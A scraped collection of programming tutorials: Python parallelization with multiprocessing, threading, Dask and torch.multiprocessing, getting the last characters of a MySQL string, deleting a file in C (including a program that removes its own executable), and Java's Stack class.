https://blog.riseml.com/comparing-google-tpuv2-against-nvidia-v100-on-resnet-50-c2bbb6a51e5ehttps://medium.com/syncedreview/googles-tpu-chip-goes-public-in-challenge-to-nvidia-s-gpu-78ced56776b5https://sebastianraschka.com/Articles/2014_multiprocessing.htmlhttps://towardsdatascience.com/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba-f06b0b367138https://www.geeksforgeeks.org/multiprocessing-python-set-2/https://www.geeksforgeeks.org/multithreading-in-python-set-2-synchronization/https://medium.com/idealo-tech-blog/parallelisation-in-python-an-alternative-approach-b2749b49a1ehttps://stackoverflow.com/questions/990102/python-global-interpreter-lock-gil-workaround-on-multi-core-systems-using-taskhttps://stackoverflow.com/questions/38666078/fast-queue-of-read-only-numpy-arrayshttps://medium.com/@rvprasad/data-and-chunk-sizes-matter-when-using-multiprocessing-pool-map-in-python-5023c96875efhttps://stackabuse.com/parallel-processing-in-python/ https://blog.riseml.com/comparing-google-tpuv2-against-nvidia-v100-on-resnet-50-c2bbb6a51e5e https://medium.com/syncedreview/googles-tpu-chip-goes-public-in-challenge-to-nvidia-s-gpu-78ced56776b5 https://sebastianraschka.com/Articles/2014_multiprocessing.html https://towardsdatascience.com/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba-f06b0b367138 https://www.geeksforgeeks.org/multiprocessing-python-set-2/ https://www.geeksforgeeks.org/multithreading-in-python-set-2-synchronization/ https://medium.com/idealo-tech-blog/parallelisation-in-python-an-alternative-approach-b2749b49a1e https://stackoverflow.com/questions/990102/python-global-interpreter-lock-gil-workaround-on-multi-core-systems-using-task https://stackoverflow.com/questions/38666078/fast-queue-of-read-only-numpy-arrays https://medium.com/@rvprasad/data-and-chunk-sizes-matter-when-using-multiprocessing-pool-map-in-python-5023c96875ef https://stackabuse.com/parallel-processing-in-python/ a) Pool and Process: https://docs.python.org/3/library/multiprocessing.htmlhttps://www.ellicium.com/python-multiprocessing-pool-process/ https://docs.python.org/3/library/multiprocessing.html https://www.ellicium.com/python-multiprocessing-pool-process/ b) Threading: 3. https://realpython.com/python-gil/ 4. https://stackoverflow.com/questions/29270818/why-is-a-python-i-o-bound-task-not-blocked-by-the-gil 5. https://stackoverflow.com/questions/27455155/python-multiprocessing-combined-with-multithreading 6. https://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python 7. https://stackoverflow.com/questions/200469/what-is-the-difference-between-a-process-and-a-thread c) Dask 8. https://ml.dask.org 9. https://docs.dask.org/en/latest/ d) torch.multiprocessing: 9. https://pytorch.org/docs/stable/multiprocessing.html 10. https://pytorch.org/docs/stable/notes/multiprocessing.html d) Pycuda: 11. https://documen.tician.de/pycuda/tutorial.html 12. https://github.com/inducer/pycuda/tree/master/examples 13. https://www3.nd.edu/~zxu2/acms60212-40212-S12/Lec-12-02.pdf Suggestions and reviews are welcome.Thank you for reading! Signed: Some rights reserved
[ { "code": null, "e": 241, "s": 172, "text": "This is the third post in a series I am writing. All posts are here:" }, { "code": null, "e": 409, "s": 241, "text": "Speed Up your Algorithms Part 1 — PyTorchSpeed Up your Algorithms Part 2 — NumbaSpeed Up your Algorithms Part 3 — ParallelizationSpeed Up your Algorithms Part 4 — Dask" }, { "code": null, "e": 451, "s": 409, "text": "Speed Up your Algorithms Part 1 — PyTorch" }, { "code": null, "e": 491, "s": 451, "text": "Speed Up your Algorithms Part 2 — Numba" }, { "code": null, "e": 541, "s": 491, "text": "Speed Up your Algorithms Part 3 — Parallelization" }, { "code": null, "e": 580, "s": 541, "text": "Speed Up your Algorithms Part 4 — Dask" }, { "code": null, "e": 634, "s": 580, "text": "And these goes with Jupyter Notebooks available here:" }, { "code": null, "e": 678, "s": 634, "text": "[Github-SpeedUpYourAlgorithms] and [Kaggle]" }, { "code": null, "e": 766, "s": 678, "text": "IntroductionPool and ProcessThreadingDasktorch.multiprocessingFurther ReadingReferences" }, { "code": null, "e": 779, "s": 766, "text": "Introduction" }, { "code": null, "e": 796, "s": 779, "text": "Pool and Process" }, { "code": null, "e": 806, "s": 796, "text": "Threading" }, { "code": null, "e": 811, "s": 806, "text": "Dask" }, { "code": null, "e": 833, "s": 811, "text": "torch.multiprocessing" }, { "code": null, "e": 849, "s": 833, "text": "Further Reading" }, { "code": null, "e": 860, "s": 849, "text": "References" }, { "code": null, "e": 1026, "s": 860, "text": "NOTE:This post goes with Jupyter Notebook available in my Repo on Github:[SpeedUpYourAlgorithms-Parallelization]and on Kaggle:[SpeedUpYourAlgorithms-Parallelization]" }, { "code": null, "e": 1216, "s": 1026, "text": "With Data increasing exponentially with time and growth in processor’s computing power coming to a hold, we need to find ways to process data efficiently and effectively. What should we do?" }, { "code": null, "e": 1675, "s": 1216, "text": "GPU is one solution, and it is very effective. But, GPU’s were not made for Machine Learning purposes, they were specifically made for complex image processing and gaming. We made our algorithms to work on existing GPUs and it actually paid off. Now, Google has introduced a new device, called TPU (Tensor Processing Unit), which is tailored for machine learning workloads on TensorFlow and the results do look promising. And Nvidia is also not backing off.1" }, { "code": null, "e": 1971, "s": 1675, "text": "But we will hit the ceiling at some point in the future. Even if we take any of the enormous datasets available today, a single machine or computing unit will not be sufficient to handle such load. We will have to use multiple machines to do our task(s). We will have to Parallelize our task(s)." }, { "code": null, "e": 2141, "s": 1971, "text": "In this post we will look into some of the methods which you will work with most of the time in Python. And then a little introduction to Dask and torch.multiprocessing." }, { "code": null, "e": 2311, "s": 2141, "text": "Both Pool and Process methods of multiprocessing library of Python initiates a new process for our task, but in a different way. Process makes only one process per call:" }, { "code": null, "e": 2530, "s": 2311, "text": "import multiprocessing as mpp = mp.Process(target= ##target-function, args= ##args-to-func)# This call will make only one process, which will process# target-function with given arguments in background." }, { "code": null, "e": 2596, "s": 2530, "text": "But the process still hasn’t started. To start it you have to do:" }, { "code": null, "e": 2606, "s": 2596, "text": "p.start()" }, { "code": null, "e": 2687, "s": 2606, "text": "Now you can either leave it here, or check if the process is complete or not by:" }, { "code": null, "e": 2739, "s": 2687, "text": "p.join()# Now it will wait for process to complete." }, { "code": null, "e": 3039, "s": 2739, "text": "There can be many uses of not checking if the process has completed or not. For example, in a Client-Server Application where the probability of packet being lost, or a non-responding process is really low, we can neglect it which can give us considerable speedup. [Depends on Application’s process]" }, { "code": null, "e": 3191, "s": 3039, "text": "For multiple processes you will have to make multiple Processs. You can make as many you like. All of them will start when you invoke .start() on them." }, { "code": null, "e": 3317, "s": 3191, "text": "processes =[mp.Process(target=func, args=(a, b)) for (a, b) in list]for p in processes: p.start()for p in processes: p.join()" }, { "code": null, "e": 3695, "s": 3317, "text": "On the other hand a Pool initiates a fixed number of processes and then we can assign some tasks to those processes. So, at a particular instance of time only a fixed amount of processes will be running and the rest will be waiting. The number of processes are mostly chosen as number of cores of your device, which is also the default behavior if you leave the argument empty." }, { "code": null, "e": 3723, "s": 3695, "text": "pool = mp.Pool(processes=2)" }, { "code": null, "e": 4067, "s": 3723, "text": "Now there are many methods which you can apply to use this Pool. Ones we can get away with, in Data Science, are Pool.apply and Pool.map, because they return the result as soon as task(s) are complete. Pool.apply takes only one argument and uses only one process, whereas Pool.map takes many arguments and puts them onto our Pool of processes." }, { "code": null, "e": 4174, "s": 4067, "text": "results = [pool.apply(func, (x)) for x in X]# Or results = pool.map(func, (arg)) # Takes only one argument" }, { "code": null, "e": 4320, "s": 4174, "text": "But Pool.map takes only one argument (iterable) which it divides into number of chunks. To send in many arguments you can do something like this." }, { "code": null, "e": 4629, "s": 4320, "text": "Considering our previous example of Client-Server Application, here max number of processes to be running are predefined, so if we have a lot of requests/packets, only n (max processes in Pool) of them will be running at a time, and others will be in queue for one of the processes slot waiting for its turn." }, { "code": null, "e": 4928, "s": 4629, "text": "# How can we use it with Data Frame?# A: You can use some parallelizable functiondf.shape# (100, 100)dfs = [df.iloc[i*25:i*25+25, 0] for i in range(4)]with Pool(4) as p: res = p.map(np.exp, dfs)for i in range(4): df.iloc[i*25:i*25+25, 0] = res[i]# It can come in handy for preprocessing of data." }, { "code": null, "e": 4951, "s": 4928, "text": "What to use and when?2" }, { "code": null, "e": 5239, "s": 4951, "text": "If you have a lot of tasks and not many of them are compute intensive, you should use a Process. Because if they are compute intensive, they might clog your CPU and your system might crash. And they won’t have to wait in queue for their chance if your system can handle them all at once." }, { "code": null, "e": 5407, "s": 5239, "text": "And when you have fixed amount of tasks and they are very compute intensive, you should use a Pool. Because if you set them loose all at once, your system might crash." }, { "code": null, "e": 5429, "s": 5407, "text": "Threading! In python?" }, { "code": null, "e": 5582, "s": 5429, "text": "Threading in python has a bad reputation. And people are correct. Threading actually doesn’t work as it should most of the time. So what is the problem?" }, { "code": null, "e": 5775, "s": 5582, "text": "The problem is GIL (Global Interpreter Lock). GIL was introduced early on Python’s development when there wasn’t even concept of Threads in Operating Systems. It was chosen for its simplicity." }, { "code": null, "e": 5962, "s": 5775, "text": "GIL allows only one CPU bound process at a time. That is, it gives access of python interpreter to only one thread at a time. So, a threadLocks the whole interpreter until its complete.3" }, { "code": null, "e": 6191, "s": 5962, "text": "For single-threaded programs it was fast as there was only one Lock to maintain. And as python became popular it became hard to effectively put out GIL and not harm all the dependent applications. And that’s why its still there." }, { "code": null, "e": 6548, "s": 6191, "text": "But, you can still use multi-threading parallel(y) if your task is not CPU bound. That is you can use multiple threads and get speedup if your task is I/O bound. Because most of the time these tasks are waiting for response from other agent (like disk etc.) and in that time they can release the lock, leaving it for other tasks to acquire it in meantime.4" }, { "code": null, "e": 7027, "s": 6548, "text": "NOTE: (From official page here)The GIL is controversial because it prevents multithreaded CPython programs from taking full advantage of multiprocessor systems in certain situations. Note that potentially blocking or long-running operations, such as I/O, image processing, and NumPy number crunching, happen outside the GIL. Therefore it is only in multithreaded programs that spend a lot of time inside the GIL, interpreting CPython bytecode, that the GIL becomes a bottleneck." }, { "code": null, "e": 7178, "s": 7027, "text": "So, if your task is IO bound, something like downloading some data from server, read/write to disk etc., you can use multiple threads and get speedup." }, { "code": null, "e": 7537, "s": 7178, "text": "from threading import Thread as timport queueq = queue.Queue() # For putting and getting results of threadfunc_ = lambda q, args: q.put(func(args))threads = [t(target=func_, args=(q, args)) for args in args_array]for t in threads: t.start()for t in threads: t.join()res = []for t in threads: res.append(q.get()) # These results won't necessarily be in order" }, { "code": null, "e": 7809, "s": 7537, "text": "To save results from Threads, you can use something like Queue. And for that you will have to define your function as shown above or you can use Queue.put() inside your function, but for that you will have to change your function definition to include Queue as argument.6" }, { "code": null, "e": 8021, "s": 7809, "text": "Now, your results in queue won’t necessarily be in order. If you want your results to be in order you can pass in some counter as arguments, as ids, and then use those ids to identify where the result came from." }, { "code": null, "e": 8303, "s": 8021, "text": "threads = [t(func_, args = (i, q, args)) for i, args in enumerate(args_array)]# And update function accordinglyNOTE:Multiprocessing with Pandas 'read.csv' method doesn't give much speedup for some reason. As an alternative you can use Dask." }, { "code": null, "e": 8326, "s": 8303, "text": "Threads vs Processes?7" }, { "code": null, "e": 8563, "s": 8326, "text": "A process is heavy-weight as it may contain many threads of its own (contains atleast one) and it has its own memory space allocated, whereas threads are light-weight as it works on memory area of parent process and thus faster to make." }, { "code": null, "e": 8877, "s": 8563, "text": "Communication between threads inside a process is easier because they share same memory space., whereas communication between processes (IPC-Inter Process Communication) is slower. But then again, threads sharing same data can get into race condition, and should be taken care of using Locks or similar solutions." }, { "code": null, "e": 9274, "s": 8877, "text": "Dask is a parallel computing library which doesn’t just help parallelize existing Machine Learning tools (Pandas andNumpy)[i.e. using High Level Collection], but also helps parallelize low level tasks/functions and can handle complex interactions between these functions by making a tasks’ graph.[i.e. using Low Level Schedulers] This is similar to Threading or multiprocessing modules of Python." }, { "code": null, "e": 9422, "s": 9274, "text": "They also have a separate Machine Learning library, dask-ml, which has integration with existing libraries such as sklearn, xgboost and tensorflow." }, { "code": null, "e": 9864, "s": 9422, "text": "from dask import delayed as delay@delaydef add(x, y): return x+y@delaydef sq(x): return x**2# Now you can use these functions any way you want, Dask will # parallelize your execution. And as the name suggest Dask # will not execute your function callings right away, rather# it will make a computational graph depending on the way you are# calling functions on inputs and intermediate results. To compute# final result:result.compute()" }, { "code": null, "e": 10100, "s": 9864, "text": "Dask has a inherently parallel nature of doing everything. For how it handles DataFrames, you can think of it as a Divide and Conquer approach, where it divides your DataFrame into chunks and then apply your given function in parallel." }, { "code": null, "e": 10610, "s": 10100, "text": "df = dask.DataFrame.read_csv(\"BigFile.csv\", chunks=50000)# Your DataFrame has been divided into chunks and every function# you apply will be applied to all chunks separately and in # parallel.# It has most of Pandas functions which you can use:agg = df.groupby([\"column\"]).aggregate([\"sum\", \"mean\"])agg.columns = new_column_namesdf_new = df.merge(agg.reset_index(), on=\"column\", how=\"left\")# It have not compute result up until now,# but with .compute() it will compute now in parallel.df_new.compute().head()" }, { "code": null, "e": 10676, "s": 10610, "text": "They also have interface for running them on cluster of machines." }, { "code": null, "e": 10725, "s": 10676, "text": "For full introduction on Dask, see my post here." }, { "code": null, "e": 11191, "s": 10725, "text": "torch.multiprocessing is a wrapper around Python multiprocessing module and its API is 100% compatible with original module. So you can use Queue's, Pipe's, Array's etc. which are in Python’s multiprocessing module here. To add to that, to make it faster they have added a method, share_memory_(), which allows data to go into a state where any process can use it directly and so passing that data to as argument to different processes won’t make copy of that data." }, { "code": null, "e": 11284, "s": 11191, "text": "You can share Tensors, model’s parameters, and you can share them on CPU or GPU as you like." }, { "code": null, "e": 11734, "s": 11284, "text": "Warning from Pytorch: (Regarding sharing on GPU) CUDA API requires that the allocation exported to other processes remains valid as long as it’s used by them. You should be careful and ensure that CUDA tensors you shared don’t go out of scope as long as it’s necessary. This shouldn’t be a problem for sharing model parameters, but passing other kinds of data should be done with care. Note that this restriction doesn’t apply to shared CPU memory." }, { "code": null, "e": 11920, "s": 11734, "text": "You can use methods above in “Pool and Process” section here, and to get more speedup you can use share_memory_() method to share a Tensor(say) among all processes without being copied." }, { "code": null, "e": 12534, "s": 11920, "text": "# Training a model using multiple processes:import torch.multiprocessing as mpdef train(model): for data, labels in data_loader: optimizer.zero_grad() loss_fn(model(data), labels).backward() optimizer.step() # This will update the shared parametersmodel = nn.Sequential(nn.Linear(n_in, n_h1), nn.ReLU(), nn.Linear(n_h1, n_out))model.share_memory() # Required for 'fork' method to workprocesses = []for i in range(4): # No. of processes p = mp.Process(target=train, args=(model,)) p.start() processes.append(p)for p in processes: p.join()" }, { "code": null, "e": 12604, "s": 12534, "text": "You can also work with a cluster of machines. For more info see here." }, { "code": null, "e": 12707, "s": 12604, "text": "NOTE:For little introduction (kind of) on usage of Pycuda, see Jupyter Notebook's PyCuda section here." }, { "code": null, "e": 13688, "s": 12707, "text": "https://blog.riseml.com/comparing-google-tpuv2-against-nvidia-v100-on-resnet-50-c2bbb6a51e5ehttps://medium.com/syncedreview/googles-tpu-chip-goes-public-in-challenge-to-nvidia-s-gpu-78ced56776b5https://sebastianraschka.com/Articles/2014_multiprocessing.htmlhttps://towardsdatascience.com/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba-f06b0b367138https://www.geeksforgeeks.org/multiprocessing-python-set-2/https://www.geeksforgeeks.org/multithreading-in-python-set-2-synchronization/https://medium.com/idealo-tech-blog/parallelisation-in-python-an-alternative-approach-b2749b49a1ehttps://stackoverflow.com/questions/990102/python-global-interpreter-lock-gil-workaround-on-multi-core-systems-using-taskhttps://stackoverflow.com/questions/38666078/fast-queue-of-read-only-numpy-arrayshttps://medium.com/@rvprasad/data-and-chunk-sizes-matter-when-using-multiprocessing-pool-map-in-python-5023c96875efhttps://stackabuse.com/parallel-processing-in-python/" }, { "code": null, "e": 13781, "s": 13688, "text": "https://blog.riseml.com/comparing-google-tpuv2-against-nvidia-v100-on-resnet-50-c2bbb6a51e5e" }, { "code": null, "e": 13884, "s": 13781, "text": "https://medium.com/syncedreview/googles-tpu-chip-goes-public-in-challenge-to-nvidia-s-gpu-78ced56776b5" }, { "code": null, "e": 13948, "s": 13884, "text": "https://sebastianraschka.com/Articles/2014_multiprocessing.html" }, { "code": null, "e": 14069, "s": 13948, "text": "https://towardsdatascience.com/how-i-learned-to-love-parallelized-applies-with-python-pandas-dask-and-numba-f06b0b367138" }, { "code": null, "e": 14129, "s": 14069, "text": "https://www.geeksforgeeks.org/multiprocessing-python-set-2/" }, { "code": null, "e": 14207, "s": 14129, "text": "https://www.geeksforgeeks.org/multithreading-in-python-set-2-synchronization/" }, { "code": null, "e": 14305, "s": 14207, "text": "https://medium.com/idealo-tech-blog/parallelisation-in-python-an-alternative-approach-b2749b49a1e" }, { "code": null, "e": 14427, "s": 14305, "text": "https://stackoverflow.com/questions/990102/python-global-interpreter-lock-gil-workaround-on-multi-core-systems-using-task" }, { "code": null, "e": 14509, "s": 14427, "text": "https://stackoverflow.com/questions/38666078/fast-queue-of-read-only-numpy-arrays" }, { "code": null, "e": 14625, "s": 14509, "text": "https://medium.com/@rvprasad/data-and-chunk-sizes-matter-when-using-multiprocessing-pool-map-in-python-5023c96875ef" }, { "code": null, "e": 14679, "s": 14625, "text": "https://stackabuse.com/parallel-processing-in-python/" }, { "code": null, "e": 14700, "s": 14679, "text": "a) Pool and Process:" }, { "code": null, "e": 14816, "s": 14700, "text": "https://docs.python.org/3/library/multiprocessing.htmlhttps://www.ellicium.com/python-multiprocessing-pool-process/" }, { "code": null, "e": 14871, "s": 14816, "text": "https://docs.python.org/3/library/multiprocessing.html" }, { "code": null, "e": 14933, "s": 14871, "text": "https://www.ellicium.com/python-multiprocessing-pool-process/" }, { "code": null, "e": 14947, "s": 14933, "text": "b) Threading:" }, { "code": null, "e": 14985, "s": 14947, "text": "3. https://realpython.com/python-gil/" }, { "code": null, "e": 15087, "s": 14985, "text": "4. https://stackoverflow.com/questions/29270818/why-is-a-python-i-o-bound-task-not-blocked-by-the-gil" }, { "code": null, "e": 15187, "s": 15087, "text": "5. https://stackoverflow.com/questions/27455155/python-multiprocessing-combined-with-multithreading" }, { "code": null, "e": 15286, "s": 15187, "text": "6. https://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python" }, { "code": null, "e": 15386, "s": 15286, "text": "7. https://stackoverflow.com/questions/200469/what-is-the-difference-between-a-process-and-a-thread" }, { "code": null, "e": 15394, "s": 15386, "text": "c) Dask" }, { "code": null, "e": 15417, "s": 15394, "text": "8. https://ml.dask.org" }, { "code": null, "e": 15453, "s": 15417, "text": "9. https://docs.dask.org/en/latest/" }, { "code": null, "e": 15479, "s": 15453, "text": "d) torch.multiprocessing:" }, { "code": null, "e": 15535, "s": 15479, "text": "9. https://pytorch.org/docs/stable/multiprocessing.html" }, { "code": null, "e": 15598, "s": 15535, "text": "10. https://pytorch.org/docs/stable/notes/multiprocessing.html" }, { "code": null, "e": 15609, "s": 15598, "text": "d) Pycuda:" }, { "code": null, "e": 15660, "s": 15609, "text": "11. https://documen.tician.de/pycuda/tutorial.html" }, { "code": null, "e": 15719, "s": 15660, "text": "12. https://github.com/inducer/pycuda/tree/master/examples" }, { "code": null, "e": 15783, "s": 15719, "text": "13. https://www3.nd.edu/~zxu2/acms60212-40212-S12/Lec-12-02.pdf" }, { "code": null, "e": 15842, "s": 15783, "text": "Suggestions and reviews are welcome.Thank you for reading!" }, { "code": null, "e": 15850, "s": 15842, "text": "Signed:" } ]
Getting last 5 character of a string with MySQL query?
To get the first n characters of string with MySQL, use LEFT(). To get the last n char of string, the RIGHT() method is used in MySQL. The syntax for RIGHT() method is as follows − SELECT RIGHT(yourColumnName, valueOfN) as anyVariableName from yourTableName; To understand the above concept, let us create a table. The query to create a table is as follows − mysql> create table gettingLast5Characters −> ( −> BookName varchar(100) −> ); Query OK, 0 rows affected (0.73 sec) Now you can insert records in the table using insert command. The query is as follows − mysql> insert into gettingLast5Characters values('Introduction to C'); Query OK, 1 row affected (0.19 sec) mysql> insert into gettingLast5Characters values('C in Depth'); Query OK, 1 row affected (0.18 sec) mysql> insert into gettingLast5Characters values('Introduction to Java'); Query OK, 1 row affected (0.18 sec) mysql> insert into gettingLast5Characters values('Let us C'); Query OK, 1 row affected (0.51 sec) Display all records from the table using select statement. The query to display all records is as follows − mysql> select *from gettingLast5Characters; The following is the output − +----------------------+ | BookName | +----------------------+ | Introduction to C | | C in Depth | | Introduction to Java | | Let us C | +----------------------+ 4 rows in set (0.00 sec) Here is the query that gets the last 5 character of string − mysql> select RIGHT(BookName,5) as Last5Character from gettingLast5Characters; The following is the output − +----------------+ | Last5Character | +----------------+ | to C | | Depth | | Java | | us C | +----------------+ 4 rows in set (0.04 sec) Look at the above sample output, space is counting also.
[ { "code": null, "e": 1197, "s": 1062, "text": "To get the first n characters of string with MySQL, use LEFT(). To get the last n char of string, the RIGHT() method is used in MySQL." }, { "code": null, "e": 1243, "s": 1197, "text": "The syntax for RIGHT() method is as follows −" }, { "code": null, "e": 1321, "s": 1243, "text": "SELECT RIGHT(yourColumnName, valueOfN) as anyVariableName from yourTableName;" }, { "code": null, "e": 1421, "s": 1321, "text": "To understand the above concept, let us create a table. The query to create a table is as follows −" }, { "code": null, "e": 1546, "s": 1421, "text": "mysql> create table gettingLast5Characters\n −> (\n −> BookName varchar(100)\n −> );\nQuery OK, 0 rows affected (0.73 sec)" }, { "code": null, "e": 1634, "s": 1546, "text": "Now you can insert records in the table using insert command. The query is as follows −" }, { "code": null, "e": 2052, "s": 1634, "text": "mysql> insert into gettingLast5Characters values('Introduction to C');\nQuery OK, 1 row affected (0.19 sec)\n\nmysql> insert into gettingLast5Characters values('C in Depth');\nQuery OK, 1 row affected (0.18 sec)\n\nmysql> insert into gettingLast5Characters values('Introduction to Java');\nQuery OK, 1 row affected (0.18 sec)\n\nmysql> insert into gettingLast5Characters values('Let us C');\nQuery OK, 1 row affected (0.51 sec)" }, { "code": null, "e": 2160, "s": 2052, "text": "Display all records from the table using select statement. The query to display all records is as follows −" }, { "code": null, "e": 2204, "s": 2160, "text": "mysql> select *from gettingLast5Characters;" }, { "code": null, "e": 2234, "s": 2204, "text": "The following is the output −" }, { "code": null, "e": 2459, "s": 2234, "text": "+----------------------+\n| BookName |\n+----------------------+\n| Introduction to C |\n| C in Depth |\n| Introduction to Java |\n| Let us C |\n+----------------------+\n4 rows in set (0.00 sec)" }, { "code": null, "e": 2520, "s": 2459, "text": "Here is the query that gets the last 5 character of string −" }, { "code": null, "e": 2599, "s": 2520, "text": "mysql> select RIGHT(BookName,5) as Last5Character from gettingLast5Characters;" }, { "code": null, "e": 2629, "s": 2599, "text": "The following is the output −" }, { "code": null, "e": 2806, "s": 2629, "text": "+----------------+\n| Last5Character |\n+----------------+\n| to C |\n| Depth |\n| Java |\n| us C |\n+----------------+\n4 rows in set (0.04 sec)" }, { "code": null, "e": 2863, "s": 2806, "text": "Look at the above sample output, space is counting also." } ]
C program to delete a file
21 Nov, 2017 The remove function in C/C++ can be used to delete a file. The function returns 0 if files is deleted successfully, other returns a non-zero value. #include<stdio.h> int main(){ if (remove("abc.txt") == 0) printf("Deleted successfully"); else printf("Unable to delete the file"); return 0;} Using remove() function in C, we can write a program which can destroy itself after it is compiled and executed. Explanation: This can be done using the remove function in C. Note that, this is done in Linux environment. So, the remove function is fed the first parameter in command line argument i.e. a.out file (executable file) created after compiling . Hence the program will be destroyed. #include<stdio.h>#include<stdlib.h> int main(int c, char *argv[]){ printf("By the time you will compile me I will be destroyed \n"); // array of pointers to command line arguments remove(argv[0]); // Note: argv[0] will contain the executable file i.e. 'a.out' return 0;} // This code is contributed by MAZHAR IMAM KHAN. Output: By the time you will compile me I will be destroyed After the output shown above, the a.out file will be removed.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above cpp-file-handling C Language Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Substring in C++ Function Pointer in C Multidimensional Arrays in C / C++ Left Shift and Right Shift Operators in C/C++ Different Methods to Reverse a String in C++ std::string class in C++ Unordered Sets in C++ Standard Template Library rand() and srand() in C/C++ Enumeration (or enum) in C What is the purpose of a function prototype?
[ { "code": null, "e": 52, "s": 24, "text": "\n21 Nov, 2017" }, { "code": null, "e": 200, "s": 52, "text": "The remove function in C/C++ can be used to delete a file. The function returns 0 if files is deleted successfully, other returns a non-zero value." }, { "code": "#include<stdio.h> int main(){ if (remove(\"abc.txt\") == 0) printf(\"Deleted successfully\"); else printf(\"Unable to delete the file\"); return 0;}", "e": 362, "s": 200, "text": null }, { "code": null, "e": 475, "s": 362, "text": "Using remove() function in C, we can write a program which can destroy itself after it is compiled and executed." }, { "code": null, "e": 756, "s": 475, "text": "Explanation: This can be done using the remove function in C. Note that, this is done in Linux environment. So, the remove function is fed the first parameter in command line argument i.e. a.out file (executable file) created after compiling . Hence the program will be destroyed." }, { "code": "#include<stdio.h>#include<stdlib.h> int main(int c, char *argv[]){ printf(\"By the time you will compile me I will be destroyed \\n\"); // array of pointers to command line arguments remove(argv[0]); // Note: argv[0] will contain the executable file i.e. 'a.out' return 0;} // This code is contributed by MAZHAR IMAM KHAN.", "e": 1105, "s": 756, "text": null }, { "code": null, "e": 1113, "s": 1105, "text": "Output:" }, { "code": null, "e": 1166, "s": 1113, "text": "By the time you will compile me I will be destroyed\n" }, { "code": null, "e": 1351, "s": 1166, "text": "After the output shown above, the a.out file will be removed.Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above" }, { "code": null, "e": 1369, "s": 1351, "text": "cpp-file-handling" }, { "code": null, "e": 1380, "s": 1369, "text": "C Language" }, { "code": null, "e": 1478, "s": 1380, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 1495, "s": 1478, "text": "Substring in C++" }, { "code": null, "e": 1517, "s": 1495, "text": "Function Pointer in C" }, { "code": null, "e": 1552, "s": 1517, "text": "Multidimensional Arrays in C / C++" }, { "code": null, "e": 1598, "s": 1552, "text": "Left Shift and Right Shift Operators in C/C++" }, { "code": null, "e": 1643, "s": 1598, "text": "Different Methods to Reverse a String in C++" }, { "code": null, "e": 1668, "s": 1643, "text": "std::string class in C++" }, { "code": null, "e": 1716, "s": 1668, "text": "Unordered Sets in C++ Standard Template Library" }, { "code": null, "e": 1744, "s": 1716, "text": "rand() and srand() in C/C++" }, { "code": null, "e": 1771, "s": 1744, "text": "Enumeration (or enum) in C" } ]
Java - The Stack Class
Stack is a subclass of Vector that implements a standard last-in, first-out stack. Stack only defines the default constructor, which creates an empty stack. Stack includes all the methods defined by Vector, and adds several of its own. Stack( ) Apart from the methods inherited from its parent class Vector, Stack defines the following methods − boolean empty() Tests if this stack is empty. Returns true if the stack is empty, and returns false if the stack contains elements. Object peek( ) Returns the element on the top of the stack, but does not remove it. Object pop( ) Returns the element on the top of the stack, removing it in the process. Object push(Object element) Pushes the element onto the stack. Element is also returned. int search(Object element) Searches for element in the stack. If found, its offset from the top of the stack is returned. Otherwise, -1 is returned. The following program illustrates several of the methods supported by this collection − import java.util.*; public class StackDemo { static void showpush(Stack st, int a) { st.push(new Integer(a)); System.out.println("push(" + a + ")"); System.out.println("stack: " + st); } static void showpop(Stack st) { System.out.print("pop -> "); Integer a = (Integer) st.pop(); System.out.println(a); System.out.println("stack: " + st); } public static void main(String args[]) { Stack st = new Stack(); System.out.println("stack: " + st); showpush(st, 42); showpush(st, 66); showpush(st, 99); showpop(st); showpop(st); showpop(st); try { showpop(st); } catch (EmptyStackException e) { System.out.println("empty stack"); } } } This will produce the following result − stack: [ ] push(42) stack: [42] push(66) stack: [42, 66] push(99) stack: [42, 66, 99] pop -> 99 stack: [42, 66] pop -> 66 stack: [42] pop -> 42 stack: [ ] pop -> empty stack
[ { "code": null, "e": 2594, "s": 2511, "text": "Stack is a subclass of Vector that implements a standard last-in, first-out stack." }, { "code": null, "e": 2747, "s": 2594, "text": "Stack only defines the default constructor, which creates an empty stack. Stack includes all the methods defined by Vector, and adds several of its own." }, { "code": null, "e": 2757, "s": 2747, "text": "Stack( )\n" }, { "code": null, "e": 2858, "s": 2757, "text": "Apart from the methods inherited from its parent class Vector, Stack defines the following methods −" }, { "code": null, "e": 2874, "s": 2858, "text": "boolean empty()" }, { "code": null, "e": 2990, "s": 2874, "text": "Tests if this stack is empty. Returns true if the stack is empty, and returns false if the stack contains elements." }, { "code": null, "e": 3005, "s": 2990, "text": "Object peek( )" }, { "code": null, "e": 3074, "s": 3005, "text": "Returns the element on the top of the stack, but does not remove it." }, { "code": null, "e": 3088, "s": 3074, "text": "Object pop( )" }, { "code": null, "e": 3161, "s": 3088, "text": "Returns the element on the top of the stack, removing it in the process." }, { "code": null, "e": 3189, "s": 3161, "text": "Object push(Object element)" }, { "code": null, "e": 3250, "s": 3189, "text": "Pushes the element onto the stack. Element is also returned." }, { "code": null, "e": 3277, "s": 3250, "text": "int search(Object element)" }, { "code": null, "e": 3399, "s": 3277, "text": "Searches for element in the stack. If found, its offset from the top of the stack is returned. Otherwise, -1 is returned." }, { "code": null, "e": 3487, "s": 3399, "text": "The following program illustrates several of the methods supported by this collection −" }, { "code": null, "e": 4263, "s": 3487, "text": "import java.util.*;\npublic class StackDemo {\n\n static void showpush(Stack st, int a) {\n st.push(new Integer(a));\n System.out.println(\"push(\" + a + \")\");\n System.out.println(\"stack: \" + st);\n }\n\n static void showpop(Stack st) {\n System.out.print(\"pop -> \");\n Integer a = (Integer) st.pop();\n System.out.println(a);\n System.out.println(\"stack: \" + st);\n }\n\n public static void main(String args[]) {\n Stack st = new Stack();\n System.out.println(\"stack: \" + st);\n showpush(st, 42);\n showpush(st, 66);\n showpush(st, 99);\n showpop(st);\n showpop(st);\n showpop(st);\n try {\n showpop(st);\n } catch (EmptyStackException e) {\n System.out.println(\"empty stack\");\n }\n }\n}" }, { "code": null, "e": 4304, "s": 4263, "text": 